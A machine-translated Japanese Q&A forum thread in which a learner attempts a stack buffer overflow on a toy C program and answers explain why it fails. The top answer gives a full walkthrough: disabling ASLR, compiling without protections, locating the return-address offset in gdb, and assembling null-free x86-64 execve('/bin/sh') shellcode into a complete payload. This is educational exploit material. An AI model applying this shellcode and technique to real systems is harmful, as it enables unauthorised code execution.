4

楽しみのためにバッファオーバーフローを使っていくつかの実験をしようとしています。このトピックについてこのフォーラムを読んでいて、自分の小さなコードを書こうとしました。

そこで、私が行ったのは小さな「C」プログラムです。このプログラムは、文字引数を取り、セグメンテーション違反が発生するまで実行されます。

したがって、戻りアドレスを「A」で上書きしたというメッセージが表示されるまで引数を指定します。これは 41 です。入力文字列をコピーするバッファの文字長は [5] です。

これが私がgdbで行ったことです。

run $(perl -e 'print "A"x32  ; ')
Program received signal SIGSEGV, Segmentation fault.
0x0000000000400516 in main (argc=Cannot access memory at address 0x414141414141412d

それから、上書きするには 16 'A' かかることがわかりました。

run $(perl -e 'print "A"x16 . "C"x8 . "B"x32   ; ')
0x0000000000400516 in main (argc=Cannot access memory at address 0x434343434343432f
) 

これは、8 つの「C」がリターン アドレスを上書きしていることを示しています。

オンライン チュートリアルによると、8 の「C」の代わりに有効なアドレスを指定した場合。どこかにジャンプしてコードを実行できます。そのため、最初の 16 の「A」の後にメモリをオーバーロードしました。

次のステップは実行することでした

run $(perl -e 'print "A"x16 . "C"x8 . "B"x200   ; ')

rax            0x0      0
rbx            0x3a0001bbc0     249108216768
rcx            0x3a00552780     249113683840
rdx            0x3a00553980     249113688448
rsi            0x42     66
rdi            0x2af9e57710e0   47252785008864
rbp            0x4343434343434343       0x4343434343434343
rsp            0x7fffb261a2e8   0x7fffb261a2e8
r8             0xffffffff       4294967295
r9             0x0      0
r10            0x22     34
r11            0xffffffff       4294967295
r12            0x0      0
r13            0x7fffb261a3c0   140736186131392
r14            0x0      0
r15            0x0      0
rip            0x400516 0x400516 <main+62>
eflags         0x10206  [ PF IF RF ]
cs             0x33     51
ss             0x2b     43
ds             0x0      0
es             0x0      0
fs             0x0      0
gs             0x0      0
fctrl          0x37f    895
fstat          0x0      0
ftag           0xffff   65535
fiseg          0x0      0
fioff          0x0      0
foseg          0x0      0
fooff          0x0      0
fop            0x0      0
mxcsr          0x1f80   [ IM DM ZM OM UM PM ]

$rsp の後の 200 バイトのメモリを調べた後、アドレスを見つけ、次のことを行いました。

run $(perl -e 'print "A"x16 . "\x38\xd0\xcb\x9b\xff\x7f" . "\x90"x50 . "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"   ; ')

ただし、これは何もしません。誰かが私が間違っていることを教えてくれたらありがたいです。

4

3 に答える 3

10

まず、randomize_va_space を変更していることを確認してください。Ubuntu では、root として以下を実行します。
echo 0 > /proc/sys/kernel/randomize_va_space

次に、スタック破壊保護なしでテスト プログラムをコンパイルしていることを確認し、メモリ実行ビットを設定します。次のgccオプションでコンパイルして達成します
-fno-stack-protector -z execstack

また、シェルを実際に実行するには、より多くのスペースが必要であることがわかったので、バッファーをバッファーのようなものに変更します[64]

次に、アプリを gdb で実行し、戻るために必要なスタック アドレスを取得します。
まず、strcpy の直後にブレークポイントを設定します。

(gdb) disassemble main
Dump of assembler code for function main:
   0x000000000040057c <+0>: push   %rbp
   0x000000000040057d <+1>: mov    %rsp,%rbp
   0x0000000000400580 <+4>: sub    $0x50,%rsp
   0x0000000000400584 <+8>: mov    %edi,-0x44(%rbp)
   0x0000000000400587 <+11>:    mov    %rsi,-0x50(%rbp)
   0x000000000040058b <+15>:    mov    -0x50(%rbp),%rax
   0x000000000040058f <+19>:    add    $0x8,%rax
   0x0000000000400593 <+23>:    mov    (%rax),%rdx
   0x0000000000400596 <+26>:    lea    -0x40(%rbp),%rax
   0x000000000040059a <+30>:    mov    %rdx,%rsi
   0x000000000040059d <+33>:    mov    %rax,%rdi
   0x00000000004005a0 <+36>:    callq  0x400450 <strcpy@plt>
   0x0000000000**4005a5** <+41>:    lea    -0x40(%rbp),%rax
   0x00000000004005a9 <+45>:    mov    %rax,%rsi
   0x00000000004005ac <+48>:    mov    $0x400674,%edi
   0x00000000004005b1 <+53>:    mov    $0x0,%eax
   0x00000000004005b6 <+58>:    callq  0x400460 <printf@plt>
   0x00000000004005bb <+63>:    mov    $0x0,%eax
   0x00000000004005c0 <+68>:    leaveq 
   0x00000000004005c1 <+69>:    retq   
End of assembler dump.
(gdb) b *0x4005a5
Breakpoint 1 at 0x4005a5

次に、アプリを実行し、ブレーク ポイントで rax レジスタ アドレスを取得します。

(gdb) run `python -c 'print "A"*128';`
Starting program: APPPATH/APPNAME `python -c 'print "A"*128';`

Breakpoint 1, 0x00000000004005a5 in main ()
(gdb) info register
rax            0x7fffffffe030   140737488347136
rbx            0x0  0
rcx            0x4141414141414141   4702111234474983745
rdx            0x41 65
rsi            0x7fffffffe490   140737488348304
rdi            0x7fffffffe077   140737488347255
rbp            0x7fffffffe040   0x7fffffffe040
rsp            0x7fffffffdff0   0x7fffffffdff0
r8             0x7ffff7dd4e80   140737351863936
r9             0x7ffff7de9d60   140737351949664
r10            0x7fffffffdd90   140737488346512
r11            0x7ffff7b8fd60   140737349483872
r12            0x400490 4195472
r13            0x7fffffffe120   140737488347424
r14            0x0  0
r15            0x0  0
rip            0x4005a5 0x4005a5 <main+41>
eflags         0x206    [ PF IF ]
cs             0x33 51
ss             0x2b 43
ds             0x0  0
es             0x0  0
fs             0x0  0
gs             0x0  0
(gdb)

次に、最大バッファ サイズを決定します。64 のバッファーが 72 バイトでクラッシュすることはわかっているので、そこから先に進みます.. metasploits パターン メソッドのようなものを使用してこれを取得するか、アプリを実行して試行錯誤から正確なバイトを見つけることができます。 segfault が発生するまでにかかる回数をカウントするか、独自のパターンを作成して、metasploit パターン オプションの場合と同様にリップ アドレスを一致させます。

次に、必要なペイロードを取得するさまざまな方法がありますが、64 ビット アプリを実行しているため、64 ビット ペイロードを使用します。私は C をコンパイルし、gdb から ASM を取得し、mov 命令を null 値の xor に変更し、次に shl と shr をシェル コマンドから削除することで、\x00 文字を削除するためにいくつかの変更を加えました。これは後で示しますが、今のところペイロードは次のとおりです。

\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05

ここでのペイロードは 48 バイトなので、72 - 48 = 24 になります。

命令が中断されないように、ペイロードに \x90 (nop) を埋め込むことができます。ペイロードの最後に 2 を追加し、先頭に 22 を追加します。また、次のように、逆に最後に返信アドレスを追加します..

`python -c 'print "\x90"*22+"\x48\x31\xd2\x48\x89\xd6\x48\xbf\x2f\x62\x69\x6e\x2f\x73\x68\x11\x48\xc1\xe7\x08\x48\xc1\xef\x08\x57\x48\x89\xe7\x48\xb8\x3b\x11\x11\x11\x11\x11\x11\x11\x48\xc1\xe0\x38\x48\xc1\xe8\x38\x0f\x05\x90\x90\x30\xe0\xff\xff\xff\x7f"';`

gdb の外で実行したい場合は、リターンアドレスをごまかす必要があるかもしれません。私の場合、アドレスは gdb の外で \x70\xe0\xff\xff\xff\x7f になります。40、50、60、70と、うまくいくまで増やしました..

アプリのソースをテストする

#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char name[64];

  strcpy(name, argv[1]);
  printf("Arg[1] is :%s\n", name);

  return 0;
}

これはCのペイロードです

#include <stdlib.h>

int main()
{
  execve("/bin/sh", NULL, NULL);
}

ビルドして実行する ASM のペイロード

int main() {
  __asm__(
    "mov    $0x0,%rdx\n\t"                // arg 3 = NULL
    "mov    $0x0,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x0068732f6e69622f,%rdi\n\t"
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack pointer = start of /bin/sh
    "mov    $0x3b,%rax\n\t"               // syscall number = 59
    "syscall\n\t"
  );
}

\x00 を使用できないため、値を xor に変更し、派手なシフトを行って、/bin/sh を設定するための mov の不適切な値を削除できます。

int main() {
  __asm__(
    "xor    %rdx,%rdx\n\t"                // arg 3 = NULL
    "mov    %rdx,%rsi\n\t"                // arg 2 = NULL
    "mov    $0x1168732f6e69622f,%rdi\n\t"
    "shl    $0x8,%rdi\n\t"                
    "shr    $0x8,%rdi\n\t"                // first byte = 0 (8 bits)
    "push   %rdi\n\t"                     // push "/bin/sh" onto stack
    "mov    %rsp,%rdi\n\t"                // arg 1 = stack ptr = start of /bin/sh
    "mov    $0x111111111111113b,%rax\n\t" // syscall number = 59
    "shl    $0x38,%rax\n\t"         
    "shr    $0x38,%rax\n\t"               // first 7 bytes = 0 (56 bits)
    "syscall\n\t"
  );
}

そのペイロードをコンパイルし、gdb で実行すると、次のような必要なバイト値を取得できます。

(gdb) x/bx main+4
0x400478 <main+4>:  0x48
(gdb) 
0x400479 <main+5>:  0x31
(gdb) 
0x40047a <main+6>:  0xd2
(gdb)

または、次のようなことですべてを取得します

(gdb) x/48bx main+4
0x4004f0 <main+4>:  0x48    0x31    0xd2    0x48    0x89    0xd6    0x48    0xbf
0x4004f8 <main+12>: 0x2f    0x62    0x69    0x6e    0x2f    0x73    0x68    0x11
0x400500 <main+20>: 0x48    0xc1    0xe7    0x08    0x48    0xc1    0xef    0x08
0x400508 <main+28>: 0x57    0x48    0x89    0xe7    0x48    0xb8    0x3b    0x11
0x400510 <main+36>: 0x11    0x11    0x11    0x11    0x11    0x11    0x48    0xc1
0x400518 <main+44>: 0xe0    0x38    0x48    0xc1    0xe8    0x38    0x0f    0x05
于 2013-06-12T19:20:40.677 に答える
0

私はx64をあまり使用していませんが、簡単に見ると、ripが上書きされるまで16バイトあることがわかります。\ x90の代わりに、\ xCCを試して、制御されたコードリダイレクトが発生したかどうかを確認します。gdbがある場合は、\ xCCをヒット(\ xCCプールに配置)して一時停止します(\ xCCは「ハードコードされた」ブレークポイントです)。

于 2013-03-21T16:49:01.993 に答える
0

初心者にとっては...スタック上のアドレスがリターンポインタであり、データ構造や文字列をどこかに言うためのポインタではないことを完全に確信していますか?その場合、文字列の代わりにそのアドレスを使用し、何もしないことになります:)

したがって、関数がローカル変数を使用しているかどうかを確認してください。ローカル変数は、リターンアドレスの後にスタックに配置されます。これがお役に立てば幸いです^_^そして幸運を祈ります!

于 2013-03-20T20:25:54.033 に答える